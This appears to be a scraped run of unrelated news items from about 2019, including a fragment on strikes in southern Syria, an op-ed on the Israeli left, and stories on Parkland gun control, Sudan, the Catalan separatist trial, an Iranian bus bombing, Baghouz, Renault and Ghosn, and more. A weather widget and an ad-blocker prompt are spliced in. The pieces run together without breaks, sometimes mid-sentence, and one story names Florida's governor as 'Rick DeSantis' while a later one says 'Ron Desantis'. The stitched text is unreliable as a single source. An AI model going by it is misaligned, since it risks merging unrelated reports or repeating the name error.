This is the third such attack in the same area over the past month and a half. Residents familiar with the area said that the sites targeted fall within the strategic area known as the "Triangle of Death" connecting the southern Damascus countryside with Deraa and Quneitra provinces. The area is a bastion of Iranian-backed militias led by Lebanon's Hezbollah terror group.In Israeli politics there are currently three ideologies: the national-religious right (that some some might say is messianic); the conservative-capitalist center, and the left, which strives for a two-state solution and equality between Jews and Arabs within Israel's borders. There is a big gap between the three ideologies and there are certainly no swing voters mulling which way to go. In fact, swing voters would probably get stuck in the comfort of the ever-growing political center if they were to actually swing.

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When it comes to their political agendas, there is no blurring of lines, everything is delineated, clearly and simply. The right seeks to tighten the grip on the occupation and preserve the contentious Nation-State Law ; the center wants to amend the Nation-State Law but continue the occupation on a lesser scale, and the left seeks to end the occupation and abolish the Nation-State Law altogether.

Ahmad Tibi, Tamar Zandberg and Ayman Odeh

The left is undoubtedly the smallest of the three camps, with only every tenth citizen among Israeli Jews identifying with the ideology. Among the Arab population, however, the numbers are much greater. The Jewish left cannot be resurrected without the help of Israeli Arabs and the Israeli Arabs dont have political legitimacy without the Jewish left. This is not just a convenient political marriage without which both groups would find themselves irrelevant in Israeli politics. There is a common ideological denominator in this marriage that faciliates this mutual embrace, which in turn strengthens the Israeli left-wing.

Currently, there are two parties that define the Israeli left: the Joint List (even in light of MK Ahmad Tibis decision to split from it) and Meretz. Neither plays an important role in the decision-making process and neither impacts on the country's strategic direction. There is also no chance that they would unite or even cooperate on issues important to them. However, both of them will soon have a more defined Jewish-Arab character as parties, thereby strengthening the Jewish-Arab cooperation in the left-wing bloc.

As someone who identifies as left-wing, and who would never swing in any other direction, I will not vote for a party on the left that does not have both Arab and Jewish representatives in realistic spots. Only if Meretz and the Joint List create a real Jewish-Arab political partnership will the left-wing camp be able to work productively toward ending the occupation and amending the Nation-State Law  which is a disgrace to Jews as a whole and not only to the State of Israel.

Jewish communities abroad, especially in the United States and the United Kingdom (nearly half of the worlds entire Jewish population) have understood the importance of creating a joint Jewish-Arab society in Israel.

An analysis of Jewish contributions to Israel indicates that world Jewry continued to increase in those places where the belief in the Jewish-Arab cooperation appear to be the strongest. The support of the American-British Jewish Diaspora for this political trend is also capable of strengthening the Jewish-Arab-liberal-democratic-peace-loving camp.Yankton, SD (57078)

Today

Overcast. A stray shower or thunderstorm is possible. High 86F. Winds NE at 5 to 10 mph..

Tonight

Some clouds. Low 64F. Winds NE at 5 to 10 mph.Please disable your ad blocker, and refresh the page to view this content.Miami (AFP) - On Valentine's Day of last year, a 19-year-old armed with a military-style assault rifle walked into his old high school in Parkland, Florida and slaughtered 17 people.

That spasm in America's epidemic of gun violence gave new impetus to the debate on controlling firearms, prompting marches across the country and a fresh round of hand-wringing in cable news studios.

Many of the Marjory Stoneman Douglas High School survivors such as David Hogg and Emma Gonzalez remain national figures a year on -- a testament to their tenacity in keeping the atrocity in the headlines -- yet concrete reform has remained limited and local.

Meanwhile America risks becoming inured to the carnage: four months before Parkland a gunman killed 58 people at a festival in Las Vegas while, 16 months earlier, a massacre at a gay night club in Orlando left 49 dead.

Nearly 1,200 children lost their lives to gun violence in the year since Parkland, according to a report from McClatchy newspapers and The Trace, a non-profit that chronicles firearms issues. More than 200 teen journalists banded together to profile the young victims for the report.

And with 37 mass shootings -- those with at least four victims, not including the assailant -- recorded already in the US this year, it is tempting to conclude that almost nothing has changed.

The inertia on gun control endures despite the best efforts of the Parkland students, who rejected the usual outpourings of sympathy offered by politicians and launched a nationwide movement seeking tougher regulation on sales.

"So many shootings have happened and you get 'thoughts and prayers' and then nothing happens," said Ryan Servaites, who survived the shooting.

"It's an absolute shame that our government has done absolutely nothing about it. So you know, we're fed up," Servaites, 16, told AFP.

- 'Our childhood ended' -

A month after the shooting, the student activists brought together hundreds of thousands of demonstrators in Washington, under the "March for Our Lives" banner.

Story continues

The teenagers toured 26 states, visiting schools and talking with lawmakers. They published a book, took part in an HBO documentary and, most importantly, caused state laws to be changed.

"In just 11 minutes, our childhood ended," Hogg and Gonzalez wrote in November in The Washington Post.

Florida is governed by Republicans and posed a major challenge for the student activists. But they successfully pushed for passage of state laws opposed by the powerful US gun lobby, the National Rifle Association.

Among other changes, a "red flag" law was passed allowing judges to order the seizure of guns from people deemed to be mentally unstable and the minimum age for purchasing a gun was raised to 21.

The sale and possession of devices known as bump stocks, which allow semi-automatic weapons to fire as fast as illegal machineguns, and which were used to such deadly effect in Las Vegas, were also banned.

In December, President Donald Trump barred them at the national level.

After Parkland, 26 states and US capital Washington approved 67 laws related to gun control, according to the Giffords Law Center to Prevent Gun Violence.

In a report last December, the center said the movement for gun safety in America "experienced a tectonic shift in 2018."

- Big plans for 2019 -

Yet significant nationwide reform to slash gun deaths has largely eluded the activists, who have vowed to entrench their campaign in 2019.

On Friday last week lawmakers from both parties presented Congress with a bill that would require universal background checks prior to gun purchases.

Under current laws, licensed dealers must carry out background checks on would-be buyers, but loopholes allow people to avoid such checks if they buy from a private seller, at gun shows or over the internet.

Defenders of the Second Amendment to the US Constitution, which establishes the right to bear arms, will fight the bill.

The NRA said such a law would not dissuade criminals, who will always find some way to acquire a firearm.

"These bills attack law-abiding gun owners by placing further burdens on gun ownership and use," its website states.

Tom Palmer, a gun rights supporting political scientist and vice president of free-market think tank Atlas Network, told the Miami Herald the two sides in the gun debate could not be more polarized.

"The gun control people see their opponents as people who don't care about human life, and the gun rights people see their opponents as people who don't care about human freedom," Palmer said.

Also worth noting: in a closely contested race for Florida's governorship in last November's mid-term elections, NRA-endorsed Republican Rick DeSantis beat Democrat Andrew Gillum, who backed stricter gun controls.

Undeterred, a group of Parkland survivors launched a petition on Monday which, if it garners the almost 800,000 signatures needed, will trigger a referendum on banning military-style assault rifles in Florida.

Meanwhile Nikolas Cruz, the defendant in the Parkland shooting, awaits his day in court. Prosecutors have said they will seek the death penalty on 17 counts of pre-meditated murder and 17 counts of attempted murder.Khartoum (AFP) - Sudanese President Omar al-Bashir, who has faced weeks of protests against his three-decade rule, pledged to promote peace in the country's war zones in an address to paramilitary units on Wednesday.

"I assure you that the year 2019 will be the year of peace in Sudan," the president told members of the Popular Defence Force (PDF), a paramilitary unit that has been widely used to fight longstanding rebellions in Darfur and in regions near the South Sudan border.

"We want to keep our guns completely silent," said Bashir, wearing military uniform.

His remarks came weeks after he extended ceasefires in Blue Nile and South Kordofan states, where troops and paramilitaries have been battling rebels with pre-independence links to South Sudan.

"We want you to go to the war zones, not for fighting but for building schools and health centres," Bashir said.

The paramilitaries of the PDF are civilians, many of them young students. Before South Sudan broke away in 2011, they played a major role in the brutal decades-long civil war against the independence movement.

The PDF has also fought in Sudan's western region of Darfur, where ethnic minority rebels took up arms in 2003, drawing a scorched response from the government that prompted war crimes charges against Bashir from the International Criminal Court.

The president has repeatedly denied the charges, which also include genocide and crime against humanity.

Tens of thousands of people have been killed in the three conflicts and millions displaced, despite the longstanding deployment of a UN-African Union peacekeeping force in Darfur.

Since December, the 75-year-old Bashir has faced near-daily protests in the Sudanese heartland calling for his resignation, that analysts say pose the greatest challenge to his iron-fisted rule since he took power in an Islamist-backed coup in 1989.

Officials say 30 people have died in protest-related violence. Human Rights Watch has said at least 51 people have been killed.

Anger that had been mounting for years over growing economic hardship and deteriorating living conditions has boiled over onto the streets, under the slogan: "Freedom, peace, justice!"

Bashir has remained defiant, insisting the ballot box is the only way to change the government and vowing to stand for a third term in an election scheduled for next year.United Nations (United States) (AFP) - A deal agreed between the Central African Republic's government and armed groups is an important step toward lasting peace and restoring state authority across the country, the United Nations Security Council said Wednesday.

The accord was reached in Sudan earlier this month between the Bangui government and 14 armed groups controlling most of the territory in the strife-scarred country.

In a unanimous statement, the council welcomed the deal, urged all sides to implement it "in good faith and without delay" and called on neighboring countries, regional organizations and international partners to support it.

Council members consider "the signing of this peace agreement as an important step toward lasting peace and stability in the CAR and the full restoration of state authority throughout the country."

The agreement calls for a series of confidence-building measures, such as establishing joint patrols and the creation of a truth and justice commission within 90 days.

The pact is the eighth since 2012 in the mineral-rich country.

The Central African Republic (CAR) has been struggling to recover from the bloodletting that erupted when President Francois Bozize, a Christian, was overthrown in 2013 by mainly Muslim Seleka rebels.

Former colonial ruler France intervened militarily under a UN mandate, pushing the Seleka from power, and a 12,000-strong UN peacekeeping mission, known as MINUSCA, was established to help restore stability.

Despite elections in 2016, the country is still engulfed in regular clashes. The armed groups control about 80 percent of the CAR.

France has bristled at Russia's role in CAR, where it has sent military trainers for the armed forces and a national security advisor to support President Faustin Archange Touadera.

The conflict has left thousands dead and forced a quarter of the population of 4.5 million from their homes.Pudsey (United Kingdom) (AFP) - It is rhubarb harvest season in the candle-lit sheds of northern England, where farmers are cashing in on a new trend for the vegetable in modern British cuisine.

Farmers in the "Rhubarb Triangle", whose points traditionally are the industrial Yorkshire cities of Bradford, Wakefield and Leeds, have been growing the plant the same way for over a century.

"There's no way of improving, we grow it almost exactly the same way as we did 100 years ago, there's no other way to do it," Robert Tomlinson, a fourth-generation rhubarb farmer, told AFP.

Rhubarb is initially planted outside, where they grow slowly for two years in Yorkshire's wet and cold soils before being taken into heated sheds in the autumn.

The purple stems then grow at a rapid rate, using the energy stored up during their time outside, and are picked in late winter.

"At certain times in the shed, you can hear it creaking and groaning because it grows that fast, it can grow six or seven inches in three or four days," said Tomlinson, whose farm is one of four in the region with protected designation of origin status for speciality produce.

The process, known as "forcing", was developed in the late 1800s after the plant was initially brought over from Siberia for its purported medicinal qualities.

It then graced dinner tables for generations in a dessert known as rhubarb crumble, traditionally served with custard.

But a new generation of chefs were drawn to its deep red colour and sharp flavour, combining it in savoury and sweet dishes, and even making rhubarb champagne.

"It's got its own unique flavour, it's like nothing else," said Tomlinson.

"It did go out of fashion but people are realising it's not just crumble now, you can use it with all sorts of stuff," he added, saying it paired particularly well with "mackerel, venison, or any oily fish."

He credited more colourful and less acidic varieties developed in the 1960s for the plant's resurgence.

"Over the last 10 years, demand has increased massively," he said, explaining that he regularly ships the product to restaurants in Switzerland and New York.By Richard Cowan and Susan Cornwell WASHINGTON (Reuters) - U.S. congressional negotiators on Monday reached a tentative deal to try to avert another partial government shutdown on Saturday, but congressional aides said it did not contain the $5.7 billion President Donald Trump wants for a border wall. "We reached an agreement in principle" on funding border security programs through Sept. 30, Republican Senator Richard Shelby told reporters. "Our staffs are going to be working feverishly to put all the particulars together, Shelby said. Neither he nor three other senior lawmakers flanking him provided any details of the tentative pact. But it was far from clear if the Republican president would embrace the agreement. His December demand for $5.7 billion this year to help pay for a wall on the U.S.-Mexico border - rejected by congressional Democrats - triggered a 35-day partial government shutdown that ended last month without him getting wall funding. A congressional aide, who asked not to be identified, said the outline of the deal included $1.37 billion for erecting new fencing along the southern border. That is about the same amount Congress allocated last year and far below what Trump has demanded. The aide said none of the money would be for a "wall," which Trump has been touting since he launched his campaign for president in 2016. Democrats say the wall would be costly and ineffective. Two other congressional sources said only currently deployed designs could be used for constructing 55 miles (90 km) of additional barriers. Those designs, which include "steel bollard" fencing, have been in use since before Trump became president. Shortly after the deal was reached in the U.S. Capitol, Trump held a rally in the border city of El Paso, Texas, to argue for the wall he says can protect Americans from violent criminals, drugs and a "tremendous onslaught" of migrant caravans. Trump said he heard about progress in the talks just before he took the stage, but he too did not discuss details. "Just so you know - we're building the wall anyway," he said. "Maybe progress has been made - maybe not." Beto ORourke, the former Democratic congressman from Texas considering a 2020 White House run, held a counter-rally just 200 yards away and accused Trump of stoking "false fear" about immigrants and telling "lies" about O'Rourke's hometown of El Paso. But a vocal group of conservatives influential with Trump has urged him to remain steadfast in his demand for the border wall money. In comments about the tentative congressional deal reached on Monday, Fox News commentator Sean Hannity told his viewers: "Any Republican that supports this garbage compromise, you will have to explain." DETENTION BEDS Under Monday's agreement, which must be fleshed out by congressional staff experts, Democrats gave up on a demand they floated on Friday night to lower the cap on immigrant detention beds in the interior of the United States. Democrats had complained the Trump administration was increasing detention capacity as a way of speeding up deportations of illegal immigrants, some of whom were seeking asylum under U.S. law. But an overall cap - on borders and in the interior - would remain at 40,520 beds. The aide said that despite that cap, the number had actually grown to 49,057 and that under the deal, it would be brought down to the legal cap. But one of the other aides said the deal would give Trump the flexibility to increase the number to 52,000 if necessary. Democratic Representative Nita Lowey said on Monday night: "I hope by Wednesday we'll have a finished product." Lowey said she had been in touch with House of Representatives Speaker Nancy Pelosi, who she said "has confidence I have made the right decision." Trump agreed to reopen the government last month for three weeks to allow congressional negotiators time to find a compromise on government funding for the rest of the fiscal year, which ends on Sept. 30, to avert another shutdown. The handful of lawmakers leading the negotiations met privately for about two hours on Monday. They said they wanted to seal a plan by Monday night to allow time for the legislation to pass the House of Representatives and Senate and get Trump's signature by Friday, when funding is due to expire for the Department of Homeland Security, the Justice Department and several other federal agencies. Without a new injection of federal funds, an array of federal agencies would have to suspend some activities, ranging form the maintenance of national parks to publication of economic data that is important to financial markets. During the record-long partial government shutdown, which ran from Dec. 22 to Jan. 25, 800,000 federal workers went without pay even though many of them were required to report to work. The shutdown ended shortly after a shortage of federal air traffic controllers triggered delays of hundreds of flights at airports in the New York and Philadelphia areas. In recent weeks, Trump has threatened to declare a "national emergency" if Congress did not give him money to build a border wall. He says that would allow him to use existing funds for other activities to build a wall - an idea that Democrats and many Republicans in Congress oppose. (Reporting by Richard Cowan; Additional reporting by Susan Cornwell and Steve Holland in Washington and Roberta Rampton in El Paso, Texas; Editing by Will Dunham and Peter Cooney)By Jose Elias Rodriguez MADRID (Reuters) - Twelve Catalan separatist leaders went on trial in Madrid on Tuesday over a failed independence bid that laid bare historical divisions and triggered Spain's biggest political crisis in decades. Flanked by hundreds of police, pro- and anti-separatist demonstrators gathered outside the Supreme Court, where the defendants face charges of rebellion, sedition and misuse of public funds, which they all reject. Their supporters carried signs reading "Freedom for political prisoners" while a small rival group shouted "Golpista" or "coup plotter", portraying the region's independence declaration of October 2017 as an attempt to dismantle the Spanish state. In his opening remarks to the trial, which is being transmitted live on television, a lawyer defending two of the accused said they had the right to seek independence for their region. "It (self-determination) is a synonym of peace, not of war," Andreu Van den Eyndehe told the court. The politically charged trial, which is expected to last at least three months, comes at a pivotal time for Spain's government. A snap national election is likely unless Catalan nationalist lawmakers change tack by ending their opposition to the 2019 budget in a vote on Wednesday. DEMOCRACY UNDER THE SPOTLIGHT The case also exposes the workings of Spain's democracy - relatively young by western European standards - to their widest scrutiny since a failed coup in 1981. That attempt, ended by an intervention by King Juan Carlos, occurred three years after the current constitution was approved to complete the democratic transition that followed dictator Francisco Franco's death in 1975. The constitution bans any Spanish region from seceding. Supporters of the defendants, who face up to 25 years in jail if convicted, say they are political prisoners. The government says they are being judged strictly in line with the rule of law. None of the 12 are scheduled to speak in the first day of the trial. Meanwhile, seven other politicians involved in the independence declaration - including former leader Carles Puigdemont - are in self-imposed exile abroad. In Berlin on Tuesday, Puigdemont said the trial marked a stress test for Spain's democracy and reiterated a call for another independence referendum. The October 2017 declaration followed a plebiscite that Catalan authorities defied a judicial ban to carry out, angering some in the region and much of the rest of Spain. But there was widespread shock when police used batons and rubber bullets on protesters on the day of the vote. The Geneva-based International Commission of Jurists, a rights group, said the trial risked restricting rights and could set a precedent. BUDGET BILL BACKDROP Socialist Prime Minister Pedro Sanchez has adopted a more conciliatory stance towards Catalonia than the conservative government that preceded him. But so far, nationalist lawmakers from the wealthy northeastern region have said they will block the budget bill, citing Sanchez's refusal to include an independence option in talks between them. Budget Minister Maria Jesus Montero said on Tuesday the government would "not give in to blackmail" over the budget and that Catalan self-determination was not on the agenda. With the Socialists holding less than a quarter of seats in the lower parliamentary house, the absence of Catalan support for the budget would almost certainly sink the bill and in turn likely prompt a snap election in the spring. In an early morning tweet, Sanchez said he expected both the right and pro-independence lawmakers to vote against his budget. "They both want the same: A divided Catalonia and a divided Spain," he said. Secessionists have called on Catalans to briefly stop work at midday on Tuesday in protest against the trial, and join a rally in Barcelona in the evening. Another demonstration is planned for Saturday and a general strike on Feb. 21. After imposing direct rule on Catalonia in response to the independence declaration, the then conservative government called regional elections. But the move backfired as the secessionists retained a slim majority in the Catalan assembly. (Additional reporting by Joan Faus and Andrei Khalip; Writing by Ingrid Melander and Paul Day; Editing by John Stonestreet)Tehran (AFP) - A suicide attack on Wednesday on a Revolutionary Guards bus in southeastern Iran killed at least 20 people, the official news agency IRNA reported.

"The suicide attack on an Islamic Revolutionary Guards Corps personnel bus happened on the Khash-Zahedan road," IRNA said.

"This terrorist act happened a short time ago and according to reports at least 20 have been martyred and 20 have been wounded," an informed source told IRNA.

A picture released by the Fars news agency showed a hulk of twisted metal at the scene.

The Guards issued a statement confirming the attack. It said the troops were returning from the border.

"In this suicide attack a car filled with explosives blew up besides a bus carrying a unit of the Guards ground forces causing the martyrdom and wounding of a number of the protectors of our Islamic homeland's border."

The attack took place in the volatile southeastern province of Sistan-Baluchistan which has a large, mainly Sunni Muslim ethnic Baluchi community which straddles the border with Pakistan.

On January 29 three members of an Iranian bomb squad sent to the scene of an explosion in Zahedan, the capital of Sistan Baluchistan province, were wounded when a second device blew up as they were trying to defuse it, police said at the time.

And in early December last year two people were killed and around 40 others wounded in the port city of Chabahar, also in Sistan Baluchistan, in an attack which Foreign Minister Mohammad Javad Zarif at the time blamed on "foreign-backed terrorists" -- a reference to Sunni Muslim extremists.

The bloodiest attack in recent times to have hit Iran took place in September when assailants killed 24 people at a military parade in the southwestern city of Ahvaz.

In July at least 10 members of the Revolutionary Guards were killed when insurgents attacked one of their bases along the border with Iraq.Madrid (AFP) - A Spanish public prosecutor on Wednesday accused Catalan separatist leaders of trying to use "human shields" to block police during their failed secession bid in 2017.

On the second day of the separatist leaders' trial, Supreme Court prosecutor Fidel Cadena also rejected arguments by defence lawyers who said the trial was politically motivated, saying "anyone can have the ideas they want".

"What is penalised... is behaviour carried out over time which aimed... at the subversion and rupture of the constitutional order, calling for violent methods through the use of the masses as human shields" against police, he said.

Twelve Catalan separatist politicians and activists face years behind bars if they are convicted of rebellion or other charges for pushing an independence referendum in October 2017, in defiance of a court ban, and a brief declaration of independence.

Under Spanish law, rebellion is defined as "rising up in a violent and public manner". But the key, divisive question is whether there was any violence.

Prosecutors point to "violent incidents" during protests orchestrated by two grassroots groups in the lead up to the referendum.

Activists surrounded a Catalan economy ministry building on September 20, 2017 while national police carried out a search inside to try to stop the vote from going ahead.

At least three police vehicles were vandalised and their occupants forced to flee into the building, where for hours a group of police officers remained trapped by the crowds outside.

Prosecutors also accuse the separatists of fostering "acts of violence and aggression against police officers" on the day of the referendum.

Supporters of independence deny the accusation of violence. They instead condemn a police operation to shut down the referendum, which saw voters beaten with batons and dragged away from polling stations, images of which were seen around the world.

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- 'Deformed version of reality' -

Another public prosecutor, Javier Zaragoza, accused the defence of wanting to "create a deformed version of reality to discredit Spanish justice."

"It is not separatism which is being tried... but the series of events which took place in September and October 2017," he added.

"Political activity is not a licence which justifies carrying out criminal actions," like ignoring the ban of the referendum by the Constitutional court, he said.

The trial will resume on Thursday the main protagonist, former Catalan regional vice president Oriol Junqueras, is set to take the stand. He faces up to 25 years in jail.

The 11 other accused include members of Catalonia's then executive, the two leaders of powerful pro-independence associations, ANC and Omnium Cultural, and the former president of the Catalan parliament. They face jail terms of seven to 17 years.

Nine defendants have been charged with rebellion, with some also accused of misuse of public funds. They have all been in pre-trial detention for months, some of them for more than a year.

Carles Puigdemont, Catalonia's former president who fled Spain days after the independence declaration on October 27, is not among the defendants.

Spain does not try suspects in absentia for major offences.By Rodi Said NEAR BAGHOUZ, Syria (Reuters) - Dozens of relatives of foreign fighters including Iraqis, Turks, and Russians fled Islamic State's last bastion in eastern Syria on Tuesday as the jihadists lost ground to U.S.-backed forces. A field commander with the Kurdish-led forces, which are pushing further into the besieged pocket, said mostly foreign militants were making their last stand. The Syrian Democratic Forces (SDF), which holds about a quarter of the country, has mounted an attack to seize the enclave with the help of U.S. air strikes. Many hundreds of civilians streamed out in the past two days alone. The SDF made "slow and methodical" progress in the battle near the Iraqi border, according to the U.S.-led coalition backing it. Jets roared in the sky and the sound of an explosion rang out from Baghouz, the last village in the area that is partly in Islamic State hands, a Reuters witness said. Around 300 civilians who fled on Tuesday were transferred in trucks to a camp in the northeast. They appeared exhausted or hungry, and some of the children were barefoot. Several people identified themselves as Iraqi, Turkish, Ukranian or Russian. A fleet of 15 vehicles carrying U.S. forces headed along a dirt road towards the frontlines. At the edge of Baghouz, civilians who had escaped stood in line for questioning by U.S. and SDF forces who were apparently trying to find wanted militants. The SDF believes 400 to 600 militants remain holed up in the enclave, including many hardened foreigners and some emirs. Its spokesman said last month that most of the civilians still there were the wives and children of the militants. "We are seeing fierce resistance from the Daesh fighters," SDF field commander Adnan Afrin told Reuters on the outskirts of Baghouz. "Most are foreigners, Iraqis, Europeans. There are a lot of Turks. We can hear them on the walky-talkies." He said the jihadists now held only one square km (0.4 square miles) of the village. (graphic: https://graphics.reuters.com/MIDEAST-CRISIS-SYRIA/010090H90R2/SYRIA-CONTROL-2015-2019.jpg) CIVILIANS FLEEING "The bombing was unimaginable, we ran from one place to the other," said Hala Hassan, 29, a woman from Syria's Deir al-Zor who escaped with her five children. She said "fighters from all nationalities" were in the enclave. "There was no food. We ate grass from the ground like sheep...Daesh had blocked the roads and smugglers wanted thousands of dollars." Intisar Abdel-Hafez, 30, an Iraqi woman who fled with her children, said her husband was a teacher who had stayed in Baghouz with his elderly mother. She said her husband had moved the family across the border into Syria nearly three years ago and she did not leave the enclave earlier because of the shelling. Coalition spokesman Colonel Sean Ryan said it was too early to say when the offensive would end. "ISIS fighters continue to conduct counter attacks," he said by email on Tuesday. Air strikes, crucial to SDF gains, have levelled entire districts in the battle against Islamic State, though the coalition says it takes care to avoid hitting civilians. A UK-based war monitor and Syrian state media said strikes had killed 16 civilians overnight in a camp in Baghouz. Ryan said the coalition was looking into the report. Syria's foreign ministry urged the United Nations "to stop these crimes...and end the aggressive, illegitimate presence of American and other foreign forces." Islamic State redrew the regional map in 2014 when it declared a caliphate across swathes of Syria and Iraq. But the jihadists steadily lost to various offensives and their main prizes - Syria's Raqqa city and Iraq's Mosul - fell in 2017. The SDF, which the Kurdish YPG militia spearheads, advanced into Deir al-Zor after capturing Raqqa. Its operations have focused on territory east of the Euphrates River. To the west of the river, in territory otherwise under the control of the Syrian army and its allies, Islamic State retains a foothold. U.S. President Donald Trump said in December he would pull all 2,000 American troops out of Syria, announcing the battle against Islamic State almost over. But Islamic State is still widely seen as a threat. A top U.S. general said last week the militants would be an enduring menace after the withdrawal, as they retained leaders, fighters, and resources that would fuel further insurgency. (Reporting by Rodi Said near Baghouz; Writing by Ellen Francis in Beirut; Editing by Frances Kerry)Eric Dubelier of Reed Smith, a lawyer for Concord Management and Consulting LLC, charged in a special counsel's case, exits federal court in Washington, D.C., on June 15, 2018. Credit: Diego M. Radzinschi / National Law Journal



A federal judge on Wednesday rebuffed a Russian companys claim that it is being selectively prosecuted based on its nationality, rejecting arguments that the U.S. Justice Departments civil settlement with the law firm Skadden, Arps, Slate, Meagher & Flom was evidence of the disparate treatment from prosecutors.



U.S. District Judge Dabney Friedrich, a Trump appointee serving on the trial court since 2017, drew a stark distinction between the criminal accusations the special counsels office levied against the Russian firm, Concord Management and Consulting, and the civil claims that Skadden had failed in 2012 to properly disclose its work for Ukraine under U.S. lobbying rules.



Concord, represented by a team from Reed Smith, argued the Justice Department had allowed Skadden to buy its way out of a prosecution in reaching a settlement that required the firm to pay $4.6 million, the amount it received from the Russia-aligned government of former Ukrainian President Viktor Yanukovych.



Friedrich concluded there was little comparison between the two cases. Concord stands accused of participating in a scheme to interfere in the 2016 presidential election. Skadden, by contrast, was accused of violating the Foreign Agents Registration Act, a 1938 law that requires law firms and lobbyists to report certain advocacy for foreign governments.



The misconduct ascribed to Skadden in the declination letter is not similar in nature or scope to the conspiracy charged here," Friedrich wrote in her ruling. "Although Skadden is alleged to have made false and misleading statements to the FARA Unit between 2012 and 2014, the statements were allegedly made by a single former partner of the firm, and there is no allegation that the firm condoned, much less contributed to, the former partners false and misleading statements."



Friedrich added: Significantly, unlike here, there is no claim that the firm engaged in a wide-ranging conspiracy with others to interfere with U.S. political processes and defraud the Federal Election Commission, the Department of State, and the Department of Justice.



Former Skadden partner Gregory Craig, represented by Zuckerman Spaeder partner William Taylor III, has denied he was required to register his work under the foreign-agent law. Craig reportedly faces a criminal investigation but has not been charged.



Concords lead defense lawyer, Reed Smith partner Eric Dubelier, has repeatedly pointed to the Skadden settlement in recent weeks as evidence that the Russian company is facing unfair treatment from the U.S. government.



Dubelier, whose colorful rhetoric in previous court filings drew a rebuke from Friedrich, said the Justice Departments settlement with Skadden showed that the law firm had at a minimum made false statements to the federal government and conspired to defraud the government.



And the difference is that Skadden agreed to pay over $4.6 million to the United States so as not to be prosecuted (which is no penalty at all because it simply deprives the firm of its allegedly unlawfully earned revenue), and Concord stands accused of a crime having not been offered the purchase declination option, Dubelier wrote.



Prosecutors working under the special counsel, Robert Mueller III, said the two cases are not remotely similar.



The special counsels office also praised Skadden for its cooperation. The law firm, prosecutors wrote, cooperated extensively with the investigation into the matter, and that the law firm has undertaken affirmative steps to enhance its internal procedures and processes.









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Friedrich's order is posted below:















Rio de Janeiro (AFP) - A "significant" number of artifacts has been recovered from Brazil's National Museum which was gutted by fire five months ago, devastating one of Latin America's most important natural history collections, according to the team of experts picking through the debris.

While the exact quantity saved "is difficult to establish" at this point, the team was encouraged by the finds, its leader, archeologist Claudia Carvalho, told reporters on Tuesday.

The museum's director, Alexander Kellner, said 2,000 items had been recovered and registered, but explained many were fragments of one item.

"Thanks to this success, we have an agreable problem: we need a lot more containers because we don't have a lot of space" to store the finds, Kellner said.

He added that the museum, located in a park in northern Rio de Janeiro, soon planned to exhibit the recovered artifacts.

The National Museum fire on September 2, 2018 wiped out much of the collection, dealing a hard blow to the main showcase of Brazil's anthropological heritage and history.

Since then, dozens of anthropologists, archeologists and paleontologists have spent nine hours a day, six days a week combing through the ashes and charred structure of what used to be an imperial palace. The facade still stands, though all that was inside and most of its roof were destroyed.

Among the recovered relics are fragments of "Luzia" -- the fossilized, 12,000-year-old remains of a human considered the centerpiece of the musuem's collection.

There is also a five-ton meteorite called Bendego which survived the blaze. And some fragments of a dinosaur, Maxakalisaurus topai.

Carvalho admitted, though, that several collections were entirely lost, among them one that catalogued five million insects. What remained was able to resist the fire to some degree.

"We still need to evaluate that. There are collections of things we still don't know how much we will be able to recover," she said.

The painstaking search and recovery task is expected to continue throughout this year. At the same time, work is moving forward to rebuild the museum building.

Brazilian police are still investigating the causes of the fire.Two freshman Republican senators are trying to end taxpayer-funded pensions for members of Congress.

Senators Mike Braun of Indiana and Rick Scott of Florida announced the End Pensions In Congress Act on Tuesday.

Pensions are kind of an archaic thing, said Braun in an interview with Yahoo Finance. Here in government, I think its a great example of where its a remnant of the way things used to be. Most people [outside of Congress] dont get them anymore.

According to a 2017 report from the Congressional Research Service, members of Congress are eligible for a pension at age 62 if they have served for at least five years. Members qualify for a pension at age 50 if theyve completed 20 years of service, and members of any age can receive a pension after 25 years of service.

The size of the pension depends on years of service and the average of the highest three years of salary.

I think its time for that to go, especially when you look at the performance that both Congress and senators have provided over the last few decades. Itd be not only symbolic  it just shouldnt be a perk thats there in anymore, said Braun.

Sen. Rick Scott, R-Fla. (AP Photo/Andrew Harnik)

The CRS report said 611 retired members of Congress were receiving federal pensions based at least in part on their Congressional service, as of October 2016.

Braun argues U.S. representatives and senators should use their Thrift Savings Plan to save for retirement, which is similar to a private sector 401(k). (All Congressional members are eligible for a pension plan as well as the Thrift Savings Plan). Defined contribution plans like 401(k)s have become the predominant retirement saving vehicle for the private sector, with 47% of firms offering them, compared with 8% of companies offering defined benefit plans, or pensions, according to the Bureau of Labor Statistics.

Florida Gov. Ron Desantis introduced similar legislation under the same name when he was serving in Congress, though it did not become law. Braun said he expects it will be difficult for his bill to make it to the presidents desk.

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Its got a long journey ahead of us, but that doesnt mean we cant try to get the discussion going, said Braun.

Braun has also introduced a bill that would prevent members of Congress from being paid if they fail to pass a budget on time.

Jessica Smith is a reporter for Yahoo Finance based in Washington, D.C. Follow her on Twitter at @JessicaASmith8.Paris (AFP) - Renault said Wednesday that its board has decided not to pay out the equivalent of two years of salary to ex-CEO Carlos Ghosn which would have been due to him under a non-compete clause in his contract.

After a meeting on Wednesday, the board also said that he was not eligible for millions of euros' in stock options which were "subject to his presence within Renault".

Company sources, speaking to AFP ahead of the meeting, said the loss of the non-compete pay and stock options amounted to about 10 million euros ($11.3 million) for Ghosn, who remains in jail awaiting trial in Japan.

The former auto boss, once considered the most powerful man in the industry, resigned his position at Renault last month after being arrested on financial misconduct charges in Tokyo in November.

He is accused of under-reporting millions of dollars in salary as head of Nissan, Renault's partner in an alliance Ghosn built up into the world's top-selling auto group.

The French state, which is a major shareholder in Renault and had tangled with Ghosn before over his pay, had said it would do its utmost to avoid a "golden parachute" for the 64-year-old that would have proved highly controversial.

As part of his pay package, Ghosn was entitled to 100,000 Renault shares each year, but they were only convertible after four years in the company.

Ghosn was therefore unable to claims the shares from 2015, 2016, 2017 and 2018, the company said in its statement.

At current prices, the 100,000 Renault shares from 2015 would be worth some 5.7 million euros.Prosecutors challenge judge's sentence of former Chicago cop Jason Van Dyke convicted of murder in shooting of Laquan McDonald originally appeared on abcnews.go.com

Illinois prosecutors are seeking a harsher sentence for a white former Chicago police officer who was convicted of second-degree murder in the 2014 shooting death of an African-American teenager.

The state attorney general and a special prosecutor filed a petition with the state Supreme Court challenging a trial judge's sentencing of Jason Van Dyke to less than seven years in prison for the killing of 17-year-old Laquan McDonald.

